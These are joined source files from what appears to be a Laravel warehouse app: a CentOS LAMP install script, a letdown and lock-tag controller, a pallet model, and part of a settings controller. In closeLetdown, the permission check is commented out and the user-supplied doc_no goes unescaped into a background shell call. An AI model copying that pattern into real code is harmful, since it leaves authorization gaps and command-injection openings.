CONFIGDIR="prod";
LOOP=END;;
* ) echo " -- Invalid option."
LOOP=CONTINUE;;
esac
done
sudo chmod -R a+rX $STDIR
sudo chmod a+rx ~
#cache sudo credentials
[ "$UID" -eq 0 ] || exec sudo bash "$0" "$@"
sudo chmod -R a+rX $STDIR
sudo chmod a+rx ~
echo "Updating yum...";
sudo yum -y update
echo "*** Installing System Requirements ***";
echo "Installing Dependencies (i.e. curl, memcached, postfix, etc..) ";
sudo yum -y install curl postfix
echo "Installing MySQL";
sudo yum install mysql mysql-server
echo "Make MySQL start automatically";
chkconfig --levels 235 mysqld on
echo "Starting MySQL";
sudo /etc/init.d/mysqld start
echo "Set password for the MySQL root account"
sudo /usr/bin/mysql_secure_installation
echo "Installing Apache";
sudo yum -y install httpd httpd-manual mod_ssl
echo "Make MySQL start automatically";
chkconfig --levels 235 httpd on
echo "Starting MySQL";
sudo /etc/init.d/httpd start
echo "Installing PHP";
sudo yum -y install php php-pear gcc
sudo yum -y install php-cli php-pdo
echo "Setup complete.";
echo "Done.";<file_sep><?php
class LetDownController extends BaseController {
private $data = array();
protected $layout = "layouts.main";
public function __construct() {
$this->beforeFilter('csrf', array('on' => 'post'));
$this->beforeFilter('auth', array('only'=> array('Dashboard')));
$this->apiUrl = Config::get('constant.api_url');
date_default_timezone_set('Asia/Manila');
}
public function showIndex() {
// Check Permissions
if (Session::has('permissions')) {
if (!in_array('CanAccessLetdown', unserialize(Session::get('permissions')))) {
return Redirect::to('purchase_order');
}
} else {
return Redirect::to('users/logout');
}
$this->getList();
}
public function closeLetdown() {
// Check Permissions
/*if (Session::has('permissions')) {
if (!in_array('CanCloseLetdown', unserialize(Session::get('permissions'))) || !in_array('CanCloseLetDownDetails', unserialize(Session::get('permissions')))) {
return Redirect::to('letdown');
}
} else {
return Redirect::to('users/logout');
}*/
$docNo = Input::get("doc_no");
$status = Config::get('letdown_statuses.closed');
Letdown::updateMoveToPickingHeaderStatus($docNo, $status);
// Add transaction for jda syncing
$isSuccess = JdaTransaction::insert(array(
'module' => Config::get('transactions.module_letdown'),
'jda_action' => Config::get('transactions.jda_action_letdown'),
'reference' => $docNo
));
//if success run daemon command: php app/cron/jda/daemon_closing_letdown.php
if( $isSuccess )
{
// $letdown = 'daemon_closing_letdown.php';
$letdown = "classes/letdown.php {$docNo}";
CommonHelper::execInBackground($letdown,'letdown');
}
return $this->redirectCloseLetdown( Input::get('module', NULL), Input::get('page_back', 1),Input::get('sort_back', 'doc_no'),Input::get('order_back', 'ASC'), Input::get('filter_sku', NULL),Input::get('filter_store', NULL), Input::get('filter_slot', NULL), Input::get('sort', 'doc_no'), Input::get('order', 'ASC'), Input::get('page', 1),Input::get('filter_doc_no', NULL),$docNo, Input::get("id"), Lang::get('letdown.text_success_close_letdown'));
}
/*public function exportCSV() {
// Check Permissions
if (Session::has('permissions')) {
if (!in_array('CanExportLetDown', unserialize(Session::get('permissions')))) {
return Redirect::to('letdown' . $this->setURL());
}
} else {
return Redirect::to('users/logout');
}
$arrParams = array(
'filter_doc_no' => Input::get('filter_doc_no', NULL),
'sort' => Input::get('sort', 'doc_no'),
'order' => Input::get('order', 'ASC'),
'page' => NULL,
'limit' => NULL
);
$results = Letdown::getLetDownList($arrParams);
$output = Lang::get('letdown.col_id'). ',';
$output .= Lang::get('letdown.col_doc_number'). ',';
$output .= Lang::get('letdown.col_status'). "\n";
foreach ($results as $key => $value) {
$exportData = array(
'"' . $value->id . '"',
'"' . $value->move_doc_number . '"',
'"' . $value->lt_status . '"'
);
$output .= implode(",", $exportData);
$output .= "\n";
}
$headers = array(
'Content-Type' => 'text/csv',
'Content-Disposition' => 'attachment; filename="letdown_' . date('Ymd') . '_' . time() . '.csv"',
);
return Response::make(rtrim($output, "\n"), 200, $headers);
}*/
public function exportCSV() {
// Check Permissions
if (Session::has('permissions')) {
if (!in_array('CanExportLetdown', unserialize(Session::get('permissions')))) {
return Redirect::to('letdown' . $this->setURL());
}
} else {
return Redirect::to('users/logout');
}
$this->data['col_upc'] = Lang::get('letdown.col_upc');
$this->data['col_store'] = Lang::get('letdown.col_store');
$this->data['col_slot'] = Lang::get('letdown.col_slot');
$this->data['col_quantity_to_pick'] = Lang::get('letdown.col_quantity_to_pick');
$this->data['col_picked_quantity'] = Lang::get('letdown.col_picked_quantity');
$this->data['col_status'] = Lang::get('letdown.col_status');
$this->data['col_doc_number'] = Lang::get('letdown.col_doc_number');
$this->data['col_action'] = Lang::get('letdown.col_action');
$arrParams = array(
'filter_doc_no' => Input::get('filter_doc_no', NULL),
'sort' => Input::get('sort', 'doc_no'),
'order' => Input::get('order', 'ASC'),
'page' => NULL,
'limit' => NULL
);
$results = Letdown::getLetDownList($arrParams);
$this->data['results'] = $results;
$pdf = App::make('dompdf');
$pdf->loadView('letdown.report_list', $this->data)->setPaper('a4')->setOrientation('landscape');
// return $pdf->stream();
return $pdf->download('letdown_' . date('Ymd') . '.pdf');
}
/*public function exportDetailsCSV() {
//TODO
///Check Permissions
if (Session::has('permissions')) {
if (!in_array('CanExportLetDownDetails', unserialize(Session::get('permissions')))) {
return Redirect::to('letdown' . $this->setURL());
}
} else {
return Redirect::to('users/logout');
}
if (Letdown::find(Input::get('id', NULL))!=NULL) {
$ld_id = Input::get('id', NULL);
$arrParams = array(
'sort' => Input::get('sort', 'sku'),
'order' => Input::get('order', 'ASC'),
'filter_sku' => NULL,
'filter_store' => NULL,
'filter_slot' => NULL,
'filter_status' => NULL,
'page' => NULL,
'limit' => NULL
);
$ld_info = Letdown::getLetDownInfo($ld_id);
$results = LetdownDetails::getLetdownDetails($ld_info->move_doc_number, $arrParams);
$output = Lang::get('letdown.col_upc'). ',';
$output .= Lang::get('letdown.col_store'). ',';
$output .= Lang::get('letdown.col_slot'). ',';
$output .= Lang::get('letdown.col_quantity_to_pick'). ',';
$output .= Lang::get('letdown.col_picked_quantity'). ',';
$output .= Lang::get('letdown.col_status'). "\n";
foreach ($results as $key => $value) {
$lt_status = "";
if($value->move_to_picking_area == 0) {
$lt_status = Lang::get('letdown.status_not_in_picking');
} else {
$lt_status = Lang::get('letdown.status_in_picking');
}
$exportData = array(
'"' . $value->sku . '"',
'"' . $value->store_name . '"',
'"' . $value->from_slot_code . '"',
'"' . $value->quantity_to_letdown . '"',
'"' . $value->moved_qty . '"',
'"' . $lt_status . '"'
);
$output .= implode(",", $exportData);
$output .= "\n";
}
$headers = array(
'Content-Type' => 'text/csv',
'Content-Disposition' => 'attachment; filename="letdown_details_' . $ld_info->move_doc_number . '_' . date('Ymd') . '_' . time() . '.csv"',
);
return Response::make(rtrim($output, "\n"), 200, $headers);
}
return;
}*/
public function exportDetailsCSV() {
//TODO
///Check Permissions
if (Session::has('permissions')) {
if (!in_array('CanAccessLetdown', unserialize(Session::get('permissions')))) {
return Redirect::to('letdown' . $this->setURL());
}
} else {
return Redirect::to('users/logout');
}
if (Letdown::find(Input::get('id', NULL))!=NULL) {
$ld_id = Input::get('id', NULL);
$this->data['col_upc'] = Lang::get('letdown.col_upc');
$this->data['col_store'] = Lang::get('letdown.col_store');
$this->data['col_slot'] = Lang::get('letdown.col_slot');
$this->data['col_quantity_to_pick'] = Lang::get('letdown.col_quantity_to_pick');
$this->data['col_picked_quantity'] = Lang::get('letdown.col_picked_quantity');
$this->data['col_status'] = Lang::get('letdown.col_status');
$this->data['text_empty_results'] = Lang::get('general.text_empty_results');
$this->data['status_not_in_picking'] =Lang::get('letdown.status_not_in_picking');
$this->data['status_in_picking'] =Lang::get('letdown.status_in_picking');
$arrParams = array(
'sort' => Input::get('sort', 'sku'),
'order' => Input::get('order', 'ASC'),
'filter_sku' => NULL,
'filter_store' => NULL,
'filter_slot' => NULL,
'filter_status' => NULL,
'page' => NULL,
'limit' => NULL
);
$ld_info = Letdown::getLetDownInfo($ld_id);
$results = LetdownDetails::getLetdownDetails($ld_info->move_doc_number, $arrParams);
$this->data['results'] = $results;
$pdf = App::make('dompdf');
$pdf->loadView('letdown.report_detail', $this->data)->setPaper('a4')->setOrientation('landscape');
// return $pdf->stream();
return $pdf->download('letdown_detail_' . date('Ymd') . '.pdf');
}
return;
}
public function getLetDownDetails() {
// Check Permissions
if (Session::has('permissions')) {
if (!in_array('CanAccessLetdown', unserialize(Session::get('permissions')))) {
return Redirect::to('letdown');
} elseif (Letdown::find(Input::get('id', NULL))==NULL) {
return Redirect::to('letdown')->with('error', Lang::get('letdown.error_letdown_details'));
}
} else {
return Redirect::to('users/logout');
}
$this->data['heading_title_letdown_details'] = Lang::get('letdown.heading_title_letdown_details');
$this->data['heading_title_letdown_contents'] = Lang::get('letdown.heading_title_letdown_contents');
$this->data['text_empty_results'] = Lang::get('general.text_empty_results');
$this->data['text_total'] = Lang::get('general.text_total');
$this->data['text_closed_letdown'] = Lang::get('letdown.text_closed_letdown');
$this->data['text_warning'] = Lang::get('letdown.text_warning');
$this->data['label_upc'] = Lang::get('letdown.label_upc');
$this->data['label_slot'] = Lang::get('letdown.label_slot');
$this->data['label_store'] = Lang::get('letdown.label_store');
$this->data['label_status'] = Lang::get('letdown.label_status');
$this->data['col_id'] = Lang::get('letdown.col_id');
$this->data['col_upc'] = Lang::get('letdown.col_upc');
$this->data['col_store'] = Lang::get('letdown.col_store');
$this->data['col_slot'] = Lang::get('letdown.col_slot');
$this->data['col_quantity_to_pick'] = Lang::get('letdown.col_quantity_to_pick');
$this->data['col_picked_quantity'] = Lang::get('letdown.col_picked_quantity');
$this->data['col_status'] = Lang::get('letdown.col_status');
//letdown detail statuses
$this->data['status_in_picking'] =Lang::get('letdown.status_in_picking');
$this->data['status_not_in_picking'] =Lang::get('letdown.status_not_in_picking');
$this->data['button_back'] = Lang::get('general.button_back');
$this->data['button_jda'] = Lang::get('general.button_jda');
$this->data['button_export'] = Lang::get('general.button_export');
$this->data['button_close_letdown'] = Lang::get('letdown.button_close_letdown');
$this->data['button_cancel'] = Lang::get('general.button_cancel');
$this->data['button_search'] = Lang::get('general.button_search');
$this->data['button_clear'] = Lang::get('general.button_clear');
$this->data['ld_status_type'] = Dataset::getTypeWithValue("LETDOWN_STATUS_TYPE");
//added this because there is not closed in the detail
unset($this->data['ld_status_type'][1]);
// URL
$this->data['url_export'] = URL::to('letdown/export_detail');
$this->data['url_back'] = URL::to('letdown' . $this->setURL(false, true));
// Message
$this->data['error'] = '';
if (Session::has('error')) {
$this->data['error'] = Session::get('error');
}
$this->data['success'] = '';
if (Session::has('success')) {
$this->data['success'] = Session::get('success');
}
// Search Filters
$filter_sku = Input::get('filter_sku', NULL);
$filter_store = Input::get('filter_store', NULL);
$filter_slot = Input::get('filter_slot', NULL);
$filter_doc_no = Input::get('filter_doc_no', NULL);
$sort_back = Input::get('sort_back', 'sku');
$order_back = Input::get('order_back', 'ASC');
$page_back = Input::get('page_back', 1);
// Details
$sort_detail = Input::get('sort', 'sku');
$order_detail = Input::get('order', 'ASC');
$page_detail = Input::get('page', 1);
//Data
$letdown_id = Input::get('id', NULL);
$this->data['letdown_info'] = Letdown::getLetDownInfo($letdown_id);
$move_doc_number = Input::get('doc_no', NULL);
$arrParams = array(
'sort' => $sort_detail,
'order' => $order_detail,
'page' => $page_detail,
'filter_sku' => $filter_sku,
'filter_store' => $filter_store,
'filter_slot' => $filter_slot,
'limit' => 30
);
$results = LetdownDetails::getLetdownDetails($move_doc_number, $arrParams);
$results_total = LetdownDetails::getLetdownDetails($move_doc_number, $arrParams, true);
// Pagination
$this->data['arrFilters'] = array(
'filter_doc_no' => $filter_doc_no,
'page_back' => $page_back,
'sort_back' => $sort_back,
'order_back' => $order_back,
'filter_sku' => $filter_sku,
'filter_store' => $filter_store,
'filter_slot' => $filter_slot,
'sort' => $sort_detail,
'order' => $order_detail,
'doc_no' => $move_doc_number,
'id' => $letdown_id
);
$this->data['letdowns'] = Paginator::make($results, $results_total, 30);
$this->data['letdowns_count'] = $results_total;
$this->data['counter'] = $this->data['letdowns']->getFrom();
$this->data['letdown_id'] = $letdown_id;
// Main
$this->data['filter_sku'] = $filter_sku;
$this->data['filter_store'] = $filter_store;
$this->data['filter_slot'] = $filter_slot;
$this->data['sort'] = $sort_detail;
$this->data['order'] = $order_detail;
$this->data['page'] = $page_detail;
// Details
$this->data['sort_back'] = $sort_back;
$this->data['order_back'] = $order_back;
$this->data['page_back'] = $page_back;
$this->data['filter_doc_no']= $filter_doc_no;
$url = '?filter_sku=' . $filter_sku . '&filter_store=' . $filter_store . '&filter_slot='. $filter_slot. '&filter_doc_no='. $filter_doc_no;
$url .= '&page_back=' . $page_back . '&sort_back=' . $sort_back . '&order_back=' . $order_back .'&id=' . $letdown_id . '&doc_no= '.$move_doc_number ;
$order_sku = ($sort_detail=='sku' && $order_detail=='ASC') ? 'DESC' : 'ASC';
$order_store = ($sort_detail=='store' && $order_detail=='ASC') ? 'DESC' : 'ASC';
$order_slot = ($sort_detail=='slot' && $order_detail=='ASC') ? 'DESC' : 'ASC';
$this->data['sort_sku'] = URL::to('letdown/detail' . $url . '&sort=sku&order=' . $order_sku, NULL, FALSE);
$this->data['sort_slot'] = URL::to('letdown/detail' . $url . '&sort=slot&order=' . $order_slot, NULL, FALSE);
$this->data['sort_store'] = URL::to('letdown/detail' . $url . '&sort=store&order=' . $order_store, NULL, FALSE);
// Permissions
$this->data['permissions'] = unserialize(Session::get('permissions'));
$this->data['url_detail'] = URL::to('letdown/detail');
$this->layout->content = View::make('letdown.detail', $this->data);
}
protected function getList() {
$this->data['heading_title'] = Lang::get('letdown.heading_title');
$this->data['text_empty_results'] = Lang::get('general.text_empty_results');
$this->data['text_total'] = Lang::get('general.text_total');
$this->data['text_closed_letdown'] = Lang::get('letdown.text_closed_letdown');
$this->data['text_warning'] = Lang::get('letdown.text_warning');
$this->data['label_doc_no'] = Lang::get('letdown.label_doc_no');
$this->data['col_id'] = Lang::get('letdown.col_id');
$this->data['col_doc_number'] = Lang::get('letdown.col_doc_number');
$this->data['col_action'] = Lang::get('letdown.col_action');
$this->data['button_search'] = Lang::get('general.button_search');
$this->data['button_clear'] = Lang::get('general.button_clear');
$this->data['button_export'] = Lang::get('general.button_export');
$this->data['button_close_letdown'] = Lang::get('letdown.button_close_letdown');
$this->data['button_lock_tags'] = Lang::get('letdown.button_lock_tags');
// URL
$this->data['url_export'] = URL::to('letdown/export' . $this->setURL());
$this->data['url_detail'] = URL::to('letdown/detail' . $this->setURL(true));
$this->data['url_locktags'] = URL::to('letdown/locktags' . $this->setURL(true));
// Message
$this->data['error'] = '';
if (Session::has('error')) {
$this->data['error'] = Session::get('error');
}
$this->data['success'] = '';
if (Session::has('success')) {
$this->data['success'] = Session::get('success');
}
// Search Filters
$filter_doc_no = Input::get('filter_doc_no', NULL);
$sort = Input::get('sort', 'doc_no');
$order = Input::get('order', 'ASC');
$page = Input::get('page', 1);
//Data
$arrParams = array(
'filter_doc_no' => $filter_doc_no,
'sort' => $sort,
'order' => $order,
'page' => $page,
'limit' => 30
);
$results = Letdown::getLetDownList($arrParams);
$results_total = Letdown::getLetDownList($arrParams, true);
// Pagination
$this->data['arrFilters'] = array(
'filter_doc_no' => $filter_doc_no,
'sort' => $sort,
'order' => $order
);
$this->data['letdowns'] = Paginator::make($results, $results_total, 30);
$this->data['letdowns_count'] = $results_total;
$this->data['counter'] = $this->data['letdowns']->getFrom();
$this->data['filter_doc_no'] = $filter_doc_no;
$this->data['sort'] = $sort;
$this->data['order'] = $order;
$this->data['page'] = $page;
$url = '?filter_doc_no=' . $filter_doc_no;
$url .= '&page=' . $page;
$order_sku = ($sort=='sku' && $order=='ASC') ? 'DESC' : 'ASC';
$order_doc_no = ($sort=='doc_no' && $order=='ASC') ? 'DESC' : 'ASC';
$this->data['sort_doc_no'] = URL::to('letdown' . $url . '&sort=doc_no&order=' . $order_doc_no, NULL, FALSE);
// Permissions
$this->data['permissions'] = unserialize(Session::get('permissions'));
$this->layout->content = View::make('letdown.list', $this->data);
}
public function getLockTagList()
{
$this->checkPermissions('CanViewLetdownLockTags', false);
$this->data['heading_title_letdown_lock_tags'] = Lang::get('letdown.heading_title_letdown_lock_tags');
$this->data['text_empty_results'] = Lang::get('general.text_empty_results');
$this->data['text_total'] = Lang::get('general.text_total');
$this->data['text_select'] = Lang::get('general.text_select');
$this->data['text_warning_unlock'] = Lang::get('letdown.text_warning_unlock');
$this->data['text_warning_unlock_single'] = Lang::get('letdown.text_warning_unlock_single');
$this->data['label_stock_piler'] = Lang::get('letdown.label_stock_piler');
$this->data['label_doc_no'] = Lang::get('letdown.label_doc_no');
$this->data['label_upc'] = Lang::get('letdown.label_upc');
$this->data['col_time_locked'] = Lang::get('letdown.col_time_locked');
$this->data['col_stock_piler'] = Lang::get('letdown.col_stock_piler');
$this->data['col_action'] = Lang::get('letdown.col_action');
$this->data['button_search'] = Lang::get('general.button_search');
$this->data['button_clear'] = Lang::get('general.button_clear');
$this->data['button_to_letdown'] = Lang::get('letdown.button_to_letdown');
$this->data['button_unlock_tags'] = Lang::get('letdown.button_unlock_tags');
$this->data['button_unlock_tag'] = Lang::get('letdown.button_unlock_tag');
$this->data['url_to_letdown'] = URL::to('letdown');
$this->data['url_lock_detail'] = URL::to('letdown/locktags_detail'. $this->setURLLock(true));
$this->data['url_unlock']= URL::to('letdown/unlock');
// Message
$this->data['error'] = '';
if (Session::has('error')) {
$this->data['error'] = Session::get('error');
}
$this->data['success'] = '';
if (Session::has('success')) {
$this->data['success'] = Session::get('success');
}
$this->data['stock_piler_list'] = $this->getStockPilers();
$this->data['error_no_lock_tag'] = Lang::get('letdown.error_no_lock_tag');
// Search Filters
$filter_stock_piler = Input::get('filter_stock_piler', NULL);
$filter_doc_no = Input::get('filter_doc_no', NULL);
$filter_sku = Input::get('filter_sku', NULL);
$sort = Input::get('sort', 'lock_tag');
$order = Input::get('order', 'ASC');
$page = Input::get('page', 1);
//Data
$arrParams = array(
'filter_stock_piler' => $filter_stock_piler,
'filter_doc_no' => $filter_doc_no,
'filter_sku' => $filter_sku,
'sort' => $sort,
'order' => $order,
'page' => $page,
'limit' => 30
);
$results = LetdownDetails::getLockTags($arrParams)->toArray();
$results_total = LetdownDetails::getLockTags($arrParams, true);
// Pagination
$this->data['arrFilters'] = array(
'filter_stock_piler' => $filter_stock_piler,
'filter_doc_no' => $filter_doc_no,
'filter_sku' => $filter_sku,
'sort' => $sort,
'order' => $order
);
$this->data['lock_tag'] = Paginator::make($results, $results_total, 30);
$this->data['lock_tag_count'] = $results_total;
$this->data['counter'] = $this->data['lock_tag']->getFrom();
$this->data['filter_stock_piler'] = $filter_stock_piler;
$this->data['filter_doc_no'] = $filter_doc_no;
$this->data['filter_sku'] = $filter_sku;
$this->data['sort'] = $sort;
$this->data['order'] = $order;
$this->data['page'] = $page;
$url = '?filter_stock_piler=' . $filter_stock_piler . '&filter_doc_no=' .$filter_doc_no . '&filter_sku=' . $filter_sku. '&page=' . $page ;
$order_lock_tag = ($sort=='lock_tag' && $order=='ASC') ? 'DESC' : 'ASC';
$this->data['sort_lock_tag'] = URL::to('letdown/locktags' . $url . '&sort=lock_tag&order=' . $order_lock_tag, NULL, FALSE);
// Permissions
$this->data['permissions'] = unserialize(Session::get('permissions'));
$this->layout->content = View::make('letdown.locklist', $this->data);
}
public function getLockTagDetail()
{
$this->checkPermissions('CanViewLetdownLockTags', false);
$this->data['heading_title_letdown_lock_tags'] = Lang::get('letdown.heading_title_letdown_lock_tags');
$this->data['text_empty_results'] = Lang::get('general.text_empty_results');
$this->data['text_total'] = Lang::get('general.text_total');
$this->data['text_select'] = Lang::get('general.text_select');
$this->data['text_warning_unlock_single'] = Lang::get('letdown.text_warning_unlock_single');
$this->data['col_doc_number'] = Lang::get('letdown.col_doc_number');
$this->data['col_upc'] = Lang::get('letdown.col_upc');
$this->data['col_product_name'] = Lang::get('letdown.col_product_name');
$this->data['col_store_code'] = Lang::get('letdown.col_store_code');
$this->data['col_store'] = Lang::get('letdown.col_store');
$this->data['button_back'] = Lang::get('letdown.button_back_lock_tags');
$this->data['button_unlock_tag'] = Lang::get('letdown.button_unlock_tag');
$this->data['url_back']= URL::to('letdown/locktags'. $this->setURLLock(false, true));
$this->data['url_unlock']= URL::to('letdown/unlock');
// Message
$this->data['error'] = '';
if (Session::has('error')) {
$this->data['error'] = Session::get('error');
}
$this->data['success'] = '';
if (Session::has('success')) {
$this->data['success'] = Session::get('success');
}
$lockTag = Input::get('lock_tag', NULL);
$this->data['lock_tag'] = $lockTag;
$this->data['filter_stock_piler'] = Input::get('filter_stock_piler', NULL);
$this->data['filter_doc_no'] = Input::get('filter_doc_no', NULL);
$this->data['filter_sku'] = Input::get('filter_sku', NULL);
$this->data['sort_back'] = Input::get('sort_back', 'lock_tag');
$this->data['order_back'] = Input::get('order_back', 'ASC');
$this->data['page_back'] = Input::get('page_back', 1);
$results = LetdownDetails::getLockTagDetails($lockTag);
$resultsTotal = count($results['details']); // since there is no pagination
$this->data['lock_tag_details'] = $results['details'];
$this->data['sum_moved']= $results['sum_moved'];
$this->data['lock_tag_details_count'] = $resultsTotal;
// Permissions
$this->data['permissions'] = unserialize(Session::get('permissions'));
$this->layout->content = View::make('letdown.locklist_details', $this->data);
}
public function unlockLetdownTag()
{
try {
$data = Input::all();
if(!isset($data['lock_tag'])) throw new Exception("Lock tag empty.");
$lockTags = explode(',',$data['lock_tag']);
if(empty($lockTags)) throw new Exception("Lock tag empty.");
DB::beginTransaction();
LetdownDetails::unlockTag($lockTags);
self::unlockLetdownTagAuditTrail($lockTags);
DB::commit();
return Redirect::to('letdown/locktags'. $this->setURLLock())->with('message', Lang::get('letdown.text_success_unlock'));
} catch (Exception $e) {
DB::rollback();
return Redirect::to('letdown/locktags'. $this->setURLLock())->withErrors(Lang::get('letdown.text_fail_unlock'));
}
}
protected function setURL($forDetail = false, $forBackToList = false) {
// Search Filters
$url = '?filter_doc_no=' . Input::get('filter_doc_no', NULL);
if($forDetail) {
$url .= '&page_back=' . Input::get('page', 1);
$url .= '&sort_back=' . Input::get('sort', 'doc_no');
$url .= '&order_back=' . Input::get('order', 'ASC');
} else {
if($forBackToList == true) {
$url .= '&page=' . Input::get('page_back', 1);
$url .= '&sort=' . Input::get('sort_back', 'doc_no');
$url .= '&order=' . Input::get('order_back', 'ASC');
} else {
$url .= '&page=' . Input::get('page', 1);
$url .= '&sort=' . Input::get('sort', 'doc_no');
$url .= '&order=' . Input::get('order', 'ASC');
}
}
return $url;
}
protected function setURLLock($forDetail = false, $forBackToList = false) {
// Search Filters
$url = '?filter_stock_piler=' . Input::get('filter_stock_piler', NULL);
$url .= '?filter_doc_no=' . Input::get('filter_doc_no', NULL);
$url .= '&filter_sku=' . Input::get('filter_sku', NULL);
if($forDetail) {
$url .= '&page_back=' . Input::get('page', 1);
$url .= '&sort_back=' . Input::get('sort', 'lock_tag');
$url .= '&order_back=' . Input::get('order', 'ASC');
} else {
if($forBackToList == true) {
$url .= '&page=' . Input::get('page_back', 1);
$url .= '&sort=' . Input::get('sort_back', 'lock_tag');
$url .= '&order=' . Input::get('order_back', 'ASC');
} else {
$url .= '&page=' . Input::get('page', 1);
$url .= '&sort=' . Input::get('sort', 'lock_tag');
$url .= '&order=' . Input::get('order', 'ASC');
}
}
return $url;
}
private function closeLetdownAuditTrail($docNo)
{
$user = User::find(Auth::user()->id);
$data_before = '';
$data_after = 'Letdown Document No: ' . $docNo . ' closed by ' . $user->username;
$arrParams = array(
'module' => Config::get('audit_trail_modules.letdown'),
'action' => Config::get('audit_trail.post_letdown_close'),
'reference' => $docNo,
'data_before' => $data_before,
'data_after' => $data_after,
'user_id' => Auth::user()->id,
'created_at' => date('Y-m-d H:i:s'),
'updated_at' => date('Y-m-d H:i:s')
);
AuditTrail::addAuditTrail($arrParams);
}
/**
* Letdown lock tag unlock audit trail
*
* @example self::unlockLetdownTagAuditTrail()
*
* @param lockTags Where something interesting takes place
* @return void
*/
private function unlockLetdownTagAuditTrail($lockTags)
{
$lockTags = implode(',', $lockTags);
$data_after = 'Locktags# '.$lockTags . ' unlocked by' . Auth::user()->username;
$arrParams = array(
'module' => Config::get('audit_trail_modules.letdown'),
'action' => Config::get('audit_trail.unlock_letdown_tag'),
'reference' => 'Lock tags # '. $lockTags,
'data_before' => '',
'data_after' => $data_after,
'user_id' => Auth::user()->id,
'created_at' => date('Y-m-d H:i:s'),
'updated_at' => date('Y-m-d H:i:s')
);
AuditTrail::addAuditTrail($arrParams);
}
private function redirectCloseLetdown($module,$pageBack, $sortBack, $orderBack, $filter_sku, $filter_store, $filter_slot, $sort, $order, $page, $filter_doc_no, $docNo, $id, $successMessage)
{
if ($module == 'letdown_detail') {
$url = '?page_back=' .$pageBack. '&order_back=' . $orderBack .'&sort_back=' . $sortBack . '&filter_sku=' . $filter_sku . '&filter_store=' . $filter_store . '&filter_slot='. $filter_slot . '&filter_doc_no='. $filter_doc_no;
$url .= '&sort=' . $sort . '&order=' . $order . '&page=' . $page;
$url .= '&id=' . $id . '&doc_no= '.$docNo;
return Redirect::to('letdown/detail' . $url)->with('message', $successMessage);
} else {
return Redirect::to('letdown' . $this->setURL())->with('message', $successMessage);
}
}
private function checkPermissions($permission, $withId = true)
{
// Check Permissions
if (Session::has('permissions')) {
if (!in_array($permission, unserialize(Session::get('permissions')))) {
return Redirect::to('letdown');
} elseif (Letdown::find(Input::get('id', NULL))==NULL) {
if($withId) {
return Redirect::to('letdown')->with('error', Lang::get('letdown.error_letdown_details'));
}
}
} else {
return Redirect::to('users/logout');
}
}
/**
* Gets stock piler for drop down
*
* @example $this->getStockPilers();
*
* @return array of stock piler and drop down initial text;
*/
private function getStockPilers()
{
$stock_pilers = array();
foreach (User::getStockPilerOptions() as $item) {
$stock_pilers[$item->id] = $item->firstname . ' ' . $item->lastname;
}
return array('' => Lang::get('general.text_select')) + $stock_pilers;
}
}
<file_sep><?php
class Pallet extends Eloquent {
protected $guarded = array();
/**
* The database table used by the model.
*
* @var string
*/
protected $table = 'pallet';
public static function getOrCreatePallete($storeCode, $loadCode)
{
$pallete = Pallet::join('load_details','load_details.pallet_code', '=', 'pallet.pallet_code' )
->where('pallet.store_code', '=', $storeCode)
->where('load_details.load_code', '=', $loadCode)
->first();
if($pallete == null) {
$palleteMax = Pallet::select(DB::raw('max(id) as max_created, max(pallet_code) as pallete_code'))->first()->toArray();
;
if($palleteMax['max_created'] === null) {
$palleteCode = 'PT0000001';
} else {
$palleteCode = substr($palleteMax['pallete_code'], -7);
$palleteCode = (int) $palleteCode + 1;
$palleteCode = 'PT' . sprintf("%07s", (int)$palleteCode);
}
Pallet::create(array('pallet_code' => $palleteCode,
'store_code' => $storeCode));
$pallete = Pallet::where('pallet_code','=', $palleteCode)->first();
LoadDetails::create(array('load_code' => $loadCode,
'pallet_code' => $palleteCode));
}
return $pallete->toArray();
}
}<file_sep><?php
class SettingsController extends BaseController {
private $data = array();
protected $layout = "layouts.main";
public function __construct()
{
$this->beforeFilter('csrf', array('on' => 'post'));
$this->beforeFilter('auth', array('only' => array('Dashboard')));
// Check Permissions
if (Session::has('permissions')) {
if (!in_array('CanAccessSettings', unserialize(Session::get('permissions')))) {
return Redirect::to('/');
}
} else {
return Redirect::to('users/logout');
}
}
public function showIndex() {
// Check Permissions
if (Session::has('permissions')) {
if (!in_array('CanAccessSettings', unserialize(Session::get('permissions')))) {
return Redirect::to('/');
}
} else {
return Redirect::to('users/logout');
}
$this->getList();
}
public function insertDataForm() {
// Check Permissions
if (Session::has('permissions')) {
if (!in_array('CanInsertSettings', unserialize(Session::get('permissions')))) {
return Redirect::to('settings' . $this->setURL());
}
} else {
return Redirect::to('users/logout');
}
$this->data['heading_title_insert'] = Lang::get('settings.heading_title_insert');
$this->data['entry_brand'] = Lang::get('settings.entry_brand');
$this->data['entry_product_identifier'] = Lang::get('settings.entry_product_identifier');
$this->data['entry_product_action'] = Lang::get('settings.entry_product_action');
$this->data['button_submit'] = Lang::get('general.button_submit');
$this->data['button_cancel'] = Lang::get('general.button_cancel');
// Options
$this->data['brand_options'] = $this->brandOptions();
$this->data['product_identifier_options'] = $this->productIdentifierOptions();
$this->data['product_action_options'] = $this->productActionOptions();
// URL
$this->data['url_cancel'] = URL::to('settings' . $this->setURL());
$this->data['sort'] = Input::get('sort', 'brand');
$this->data['order'] = Input::get('order', 'ASC');
$this->layout->content = View::make('settings.insert', $this->data);
}
public function insertData() {
// Check Permissions
if (Session::has('permissions')) {
if (!in_array('CanInsertSettings', unserialize(Session::get('permissions')))) {
return Redirect::to('settings' . $this->setURL());
}
} else {
return Redirect::to('users/logout');
}
$rules = array(
'brand' => 'required|unique:settings,brand,NULL,id,deleted_at,0000-00-00 00:00:00',
'product_identifier' => 'required',
'product_action' => 'required'
);
$validator = Validator::make(Input::all(), $rules);
if ($validator->fails()) {
return Redirect::to('settings/insert' . $this->setURL())
->withErrors($validator)
->withInput();
} else {
$brands = $this->brandOptions();
$arrParams = array(
'brand' => Input::get('brand'),
'brand_name' => $brands[Input::get('brand')],
'product_identifier' => Input::get('product_identifier'),
'product_action' => Input::get('product_action'),
'created_at' => date('Y-m-d H:i:s'),
'updated_at' => date('Y-m-d H:i:s')
);
Settings::addSetting($arrParams);
// AuditTrail
$brand_options = $this->brandOptions();
$product_identifier_options = $this->productIdentifierOptions();
$product_action_options = $this->productActionOptionsDisplay();
$data_before = '';
$data_after = 'Brand: ' . $brand_options[Input::get('brand')] . '<br />' .
'Product Identifier: ' . $product_identifier_options[Input::get('product_identifier')] . '<br />' .
'Action: ' . $product_action_options[Input::get('product_action')];
$arrParams = array(
'module' => 'Settings',
'action' => 'Added New Setting',
'reference' => Input::get('brand'),
'data_before' => $data_before,
'data_after' => $data_after,
'user_id' => Auth::user()->id,
